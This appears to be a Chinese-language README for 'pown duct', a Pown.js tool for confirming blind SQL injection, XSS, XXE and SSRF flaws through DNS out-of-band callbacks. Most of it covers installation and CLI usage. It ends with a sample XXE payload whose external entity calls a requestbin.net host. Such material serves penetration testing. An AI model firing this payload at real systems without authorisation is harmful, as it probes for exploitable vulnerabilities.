利用 DNS 侧信道发现盲注入攻击的必备工具。
本工具是 secapps.com 开源计划的一部分。
___ ___ ___ _ ___ ___ ___
/ __| __/ __| /_\ | _ \ _ \/ __|
\__ \ _| (__ / _ \| _/ _/\__ \
|___/___\___/_/ \_\_| |_| |___/
https://secapps.com
注意:本工具目前使用 http://requestbin.net 服务。未来版本将改用专用的定制基础设施。
本工具设计为 Pown.js 的一部分,但也可以作为独立工具单独调用。
首先照常安装 Pown:
$ npm install -g pown@latest
直接从 Pown 调用:
$ pown duct
或者,将本模块本地安装到项目的根目录:
$ npm install @pown/duct --save
安装后,调用 pown cli:
$ ./node_modules/.bin/pown-cli duct
你也可以使用全局的 pown 来调用本地工具:
$ POWN_ROOT=. pown duct
pown duct <command>
侧信道攻击辅助工具
Commands:
pown duct dns DNS 通道
Options:
--version 显示版本号 [boolean]
--help 显示帮助信息 [boolean]
pown duct dnspown duct dns
DNS 通道
Options:
--version 显示版本号 [boolean]
--help 显示帮助信息 [boolean]
--channel 恢复通道 [string]
--output 输出格式 [string] [choices: "string", "hexdump", "json"] [default: "string"]
有时我们需要执行诸如 SQL 注入、XSS、XXE 或 SSRF 等攻击,但目标应用程序并未给出任何存在漏洞的迹象。确认漏洞是否存在的一种方法是尝试注入一个有效的攻击向量,迫使 DNS 解析器查询一个受控域名。如果解析成功,则判定攻击成功。
注意:你可能熟悉 Burp Collaborator,它为付费用户提供类似服务。
首先,我们需要一个一次性 DNS 名称用于解析:
$ pown duct dns
截图
使用提供的 DNS 构建你的载荷。例如,以下内容若存在 XXE 漏洞,将触发 DNS 解析:
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM "http://showmethemoney.bfa8b8d3c25f09d5429f.d.requestbin.net">
]>
<foo>
&bar;
</foo>
如果攻击成功,终端会收到一条消息。
截图